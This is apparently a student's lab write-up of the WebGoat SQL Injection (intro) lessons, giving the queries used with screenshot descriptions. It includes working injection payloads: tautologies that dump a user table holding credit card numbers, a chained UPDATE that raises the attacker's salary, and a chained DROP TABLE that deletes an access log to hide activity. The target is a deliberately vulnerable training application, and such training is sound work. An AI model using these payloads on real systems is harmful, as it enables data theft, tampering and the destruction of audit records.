

WEBGOAT ASSESSMENT

Description : Use WebGoat to test web applications for any vulnerabilities and perform SQL Injection attack

STEPS Followed:

1. Ran WebGoat web app and logged in.
2. Completed the SQL Injection (Intro) from 1 to 13.
3. Attached the screenshots and Query statement is documented as below

2. retrieve the department of the employee Bob Franco

Query: *SELECT department FROM Employees WHERE first_name = 'Bob' AND last_name = 'Franco';*

The screenshot shows the WebGoat application interface. The browser address bar displays the URL: 127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionLesson/1. The left sidebar contains a navigation menu with categories like (A2) Cryptographic Failures, (A3) Injection, (A5) Security Misconfiguration, (A6) Vuln & Outdated Components, (A7) Identity & Auth Failure, (A8) Software & Data Integrity, (A9) Security Logging Failures, (A10) Server-side Request Forgery, Client-side, and Challenges. The main content area is titled 'What is SQL?' and explains that SQL is a standardized programming language for managing relational databases. It includes an 'Employees Table' with the following data:

userid	first_name	last_name	department	salary	auth_tan
32147	Paulina	Travers	Accounting	\$46,000	PI4JSJI
89762	Tobi	Barnett	Development	\$77,000	TA9LL1
96134	Bob	Franco	Marketing	\$83,700	LO9SZV
34477	Abraham	Holman	Development	\$50,000	UUZALK
37648	John	Smith	Marketing	\$64,350	3SL99A

Below the table, it states: 'A company saves the following employee information in their databases: a unique employee number (userid), last name, first name, department, salary and a transaction authentication number (auth_tan). Each of these pieces of information is stored in a separate column and each row represents one employee of the company. SQL queries can be used to modify a database table and its index structures and add, update and delete rows of data. There are three main categories of SQL commands: Data Manipulation Language (DML), Data Definition Language (DDL), and Data Control Language (DCL). Each of these command types can be used by attackers to compromise the confidentiality, integrity, and/or availability of a system. Proceed with the lesson to learn more about the SQL command types and how they relate to protections goals. If you are still struggling with SQL and need more information or practice, you can visit <http://www.sqlcourse.com/> for free and interactive online training.

It is your turn!
Look at the example table. Try to retrieve the department of the employee Bob Franco. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

The 'SQL query' input field contains: `SELECT department FROM Employees WHERE first_name = 'Bob' AND last_name = 'Franco';`

The 'Submit' button is highlighted, and the output shows: **You have succeeded!**
`SELECT department FROM Employees WHERE first_name = 'Bob' AND last_name = 'Franco';`
DEPARTMENT

3. change the department of Tobi Barnett to 'Sales'

Query: **UPDATE Employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett';**

WEBGOAT SQL Injection (intro)

SQL Injection (intro)

SQL Injection (advanced)

SQL Injection (mitigation)

Path traversal

Cross-Site Scripting

(A5) Security Misconfiguration

(A6) Vain & Outdated Components

(A7) Identity & Auth Failure

(A8) Software & Data Integrity

(A9) Security Logging Failures

(A10) Server-side Request Forgery

Client side

Challenges

SQL Injection (intro)

1 2 3 4 5 6 7 8 9 10 11 12 13

Data Manipulation Language (DML)

As implied by the name, data manipulation language deals with the manipulation of data. Many of the most common SQL statements, including SELECT, INSERT, UPDATE, and DELETE, may be categorized as DML statements. DML statements may be used for requesting records (SELECT), adding records (INSERT), deleting records (DELETE), and modifying existing records (UPDATE).

If an attacker succeeds in "injecting" DML statements into a SQL database, he can violate the confidentiality (using SELECT statements), integrity (using UPDATE statements), and availability (using DELETE or UPDATE statements) of a system.

- DML commands are used for storing, retrieving, modifying, and deleting data.
- SELECT - retrieve data from a database
- INSERT - insert data into a database
- UPDATE - updates existing data within a database
- DELETE - delete records from a database

Example:

- Retrieve data:
 - SELECT phone
 - FROM employees
 - WHERE user_id = 96134;
- This statement retrieves the phone number of the employee who has the user_id 96134.

It is your turn!

Try to change the department of Tobi Barnett to 'Sales'. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

SQL query

Submit

UPDATE Employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett';

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN
89762	Tobi	Barnett	Sales	77000	TASLL1

4. modify the schema by adding the column "phone" (varchar(20)) to the table "employees".

Query: **ALTER TABLE employees ADD phone varchar(20);**

SQL Injection (intro)

1 2 3 4 5 6 7 8 9 10 11 12 13

Data Definition Language (DDL)

Data definition language includes commands for defining data structures. DDL commands are commonly used to define a database's schema. The schema refers to the overall structure or organization of the database and, in SQL databases, includes objects such as tables, indexes, views, relationships, triggers, and more.

If an attacker successfully "injects" DDL type SQL commands into a database, he can violate the integrity (using ALTER and DROP statements) and availability (using DROP statements) of a system.

- DDL commands are used for creating, modifying, and dropping the structure of database objects.
- CREATE - create database objects such as tables and views
- ALTER - alters the structure of the existing database
- DROP - delete objects from the database

Example:

```
CREATE TABLE employees(  
  userid varchar(6) not null primary key,  
  first_name varchar(20),  
  last_name varchar(20),  
  department varchar(20),  
  salary varchar(10),  
  auth_ten varchar(6)  
);
```

This statement creates the employees example table given on page 2.

Now try to modify the schema by adding the column "phone" (varchar(20)) to the table "employees" .:

SQL query

Submit

Congratulations. You have successfully completed the assignment.

ALTER TABLE employees ADD phone varchar(20);

5. grant rights to the table

Query: **GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;**

SQL Injection (intro)

1 2 3 4 5 6 7 8 9 10 11 12 13

Data Control Language (DCL)

Data control language is used to implement access control logic in a database. DCL can be used to revoke and grant user privileges on database objects such as tables, views, and functions.

If an attacker successfully "injects" DCL type SQL commands into a database, he can violate the confidentiality (using GRANT commands) and availability (using REVOKE commands) of a system. For example, the attacker could grant himself admin privileges on the database or revoke the privileges of the true administrator.

- DCL commands are used to implement access control on database objects.
- GRANT - give a user access privileges on database objects
- REVOKE - withdraw user privileges that were previously given using GRANT

Try to grant rights to the table `grant_rights` to user `unauthorized_user`:

SQL query

Submit

Congratulations. You have successfully completed the assignment.

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

9. retrieve all the users from the users table

Query: **SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'**

SQL Injection (intro)

Try It! String SQL injection

The query in the code builds a dynamic query as seen in the previous example. The query is built by concatenating strings making it susceptible to String SQL injection.

*SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' + last_name + ''*

Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = [Smith] or [1] = 1 [Get Account Info]

You have succeeded:

USERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT
101	Joe	Snow	987654321	VISA	, 0	
101	Joe	Snow	223420005411	MC	, 0	
102	John	Smith	243560002222	AMEX	, 0	
102	John	Smith	4352209902222	AMEX	, 0	
103	Jane	Plane	123456789	MC	, 0	
103	Jane	Plane	333498703333	AMEX	, 0	
10312	Jolly	Hershey	176896789	MC	, 0	
10312	Jolly	Hershey	333300003333	AMEX	, 0	
10323	Grumpy	youaretheweakestlink	673834489	MC	, 0	
10323	Grumpy	youaretheweakestlink	33413003333	AMEX	, 0	
15603	Peter	Sand	123609789	MC	, 0	
15603	Peter	Sand	338893453333	AMEX	, 0	
15613	Joseph	Something	33843453333	AMEX	, 0	
15837	Chaos	Monkey	32849386533	CM	, 0	
19204	Mr	Goat	33812953533	VISA	, 0	

Your query was: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'

Explanation: This injection works, because or '1' = '1' always evaluates to true (The string ending literal for '1' is closed by the query itself, so you should not inject it). So the injected query basically looks like this: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE, which will always evaluate to true, no matter what came before it.

10. retrieve all the data from the users table.

Query: ***SELECT * From user_data WHERE Login_Count = 0 and userid= 0 or 1=1***

SQL Injection (intro)

Try It! Numeric SQL injection

The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection.

*SELECT * FROM user_data WHERE login_count = * Login_Count = * AND user_id = * + User_ID*

Using the two Input Fields below, try to retrieve all the data from the users table.

Warning: Only one of these fields is susceptible to SQL Injection. You need to find out which, to successfully retrieve all the data.

Login_Count: []
User_Id: [] [Get Account Info]

You have succeeded:

USERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT
101	Joe	Snow	987654321	VISA	, 0	
101	Joe	Snow	223420005411	MC	, 0	
102	John	Smith	243560002222	AMEX	, 0	
102	John	Smith	4352209902222	AMEX	, 0	
103	Jane	Plane	123456789	MC	, 0	
103	Jane	Plane	333498703333	AMEX	, 0	
10312	Jolly	Hershey	176896789	MC	, 0	
10312	Jolly	Hershey	333300003333	AMEX	, 0	
10323	Grumpy	youaretheweakestlink	673834489	MC	, 0	
10323	Grumpy	youaretheweakestlink	33413003333	AMEX	, 0	
15603	Peter	Sand	123609789	MC	, 0	
15603	Peter	Sand	338893453333	AMEX	, 0	
15613	Joseph	Something	33843453333	AMEX	, 0	
15837	Chaos	Monkey	32849386533	CM	, 0	
19204	Mr	Goat	33812953533	VISA	, 0	

Your query was: SELECT * From user_data WHERE Login_Count = 0 and user_id= 0 or 1=1

11. retrieve all employee data from the **employees** table

Query: Employee Name : ***"Smith' or 1=1–***

Authentication TAN : ***3SL99A***

127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection/lesson/10

Compromising confidentiality with String SQL injection

If a system is vulnerable to SQL injections, aspects of that system's CIA triad can be easily compromised (if you are unfamiliar with the CIA triad, check out the CIA triad lesson in the general category). In the following three lessons you will learn how to compromise each aspect of the CIA triad using techniques like SQL string injections or query chaining.

In this lesson we will look at **confidentiality**. Confidentiality can be easily compromised by an attacker using SQL injection, for example, successful SQL injection can allow the attacker to read sensitive data like credit card numbers from a database.

What is String SQL injection?

If an application builds SQL queries simply by concatenating user supplied strings to the query, the application is likely very susceptible to String SQL injection. More specifically, if a user supplied string simply gets concatenated to a SQL query without any sanitization or preparation, then you may be able to modify the query's behavior by simply inserting quotation marks into an input field. For example, you could end the string parameter with quotation marks and input your own SQL after that.

It is your turn!

You are an employee named John Smith working for a big company. The company has an internal system that allows all employees to see their own internal data such as the department they work in and their salary. The system requires the employees to use a unique authentication TAN to view their data. Your current TAN is 3SL99A.

Since you always have the urge to be the most highly paid employee, you want to exploit the system so that instead of viewing your own internal data, you want to take a look at the data of all your colleagues to check their current salaries.

Use the form below and try to retrieve all employee data from the **employees** table. You should not need to know any specific names or TANs to get the information you need. You already found out that the query performing your request looks like this:

```
*SELECT * FROM employees WHERE last_name = '' + name + '' AND auth_tan = '' + auth_tan + '';
```

Authentication TAN:

You have succeeded! You successfully compromised the confidentiality of data by viewing internal information that you should not have access to. Well done!

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE
32147	Paulina	Travers	Accounting	46000	P45JSI	null
34477	Abraham	Holman	Development	50000	UUZALK	null
37648	John	Smith	Marketing	64350	3SL99A	null
89762	Tobi	Barnett	Sales	77000	TABLL1	null
96134	Bob	Franco	Marketing	83700	LO9S2V	null

12. Change the salary

Query: **Smith'; UPDATE employees SET salary = 1500000 WHERE auth_tan = '3SL99A'--**

127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjection/lesson/11

SQL Injection (intro)

Compromising Integrity with Query chaining

After compromising the confidentiality of data in the previous lesson, this time we are gonna compromise the integrity of data by using SQL query chaining.

If a severe enough vulnerability exists, SQL injection may be used to compromise the integrity of any data in the database. Successful SQL injection may allow an attacker to change information that he should not even be able to access.

What is SQL query chaining?

Query chaining is exactly what it sounds like. With query chaining, you try to append one or more queries to the end of the actual query. You can do this by using the ; metacharacter. A ; marks the end of a SQL statement; it allows one to start another query right after the initial query without the need to even start a new line.

It is your turn!

You just found out that Tobi and Bob both seem to earn more money than you! Of course you cannot leave it at that. Better go and change your own salary so you are earning the most!

Remember: Your name is John Smith and your current TAN is 3SL99A.

Authentication TAN:

Well done! Now you are earning the most money. And at the same time you successfully compromised the integrity of data by changing the salary!

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE
37648	John	Smith	Marketing	1500000	3SL99A	null
96134	Bob	Franco	Marketing	83700	LO9S2V	null
89762	Tobi	Barnett	Sales	77000	TABLL1	null
34477	Abraham	Holman	Development	50000	UUZALK	null
32147	Paulina	Travers	Accounting	46000	P45JSI	null

13. Delete the Table access_log

Query: **Smith'; DROP TABLE access_log --**

WEBGOAT

Introduction

General

(A1) Broken Access Control

(A2) Cryptographic Failures

(A3) Injection

(A5) Security Misconfiguration

(A6) Vulnerable Components

(A7) Identity & Authentication

(A8) Software & Data Integrity

(A9) Security Logging Failures

(A10) Server-side Request Forgery

Client side

Challenges

SQL Injection (intro)

Reveal lesson

1

2

3

4

5

6

7

8

9

10

11

12

13

Compromising Availability

After successfully compromising confidentiality and integrity in the previous lessons, we are now going to compromise the third element of the CIA triad: **availability**.

There are many different ways to violate availability. If an account is deleted or its password gets changed, the actual owner cannot access this account anymore. Attackers could also try to delete parts of the database, or even drop the whole database, in order to make the data inaccessible. Revoking the access rights of admins or other users is yet another way to compromise availability; this would prevent these users from accessing either specific parts of the database or even the entire database as a whole.

It is your turn!

Now you are the top earner in your company. But do you see that? There seems to be an `access_log` table, where all your actions have been logged to! Better go and delete it completely before anyone notices.

✓

Action contains:

Success! You successfully deleted the `access_log` table and that way compromised the availability of the data.

Type here to search

Near record

18:14

05-05-2024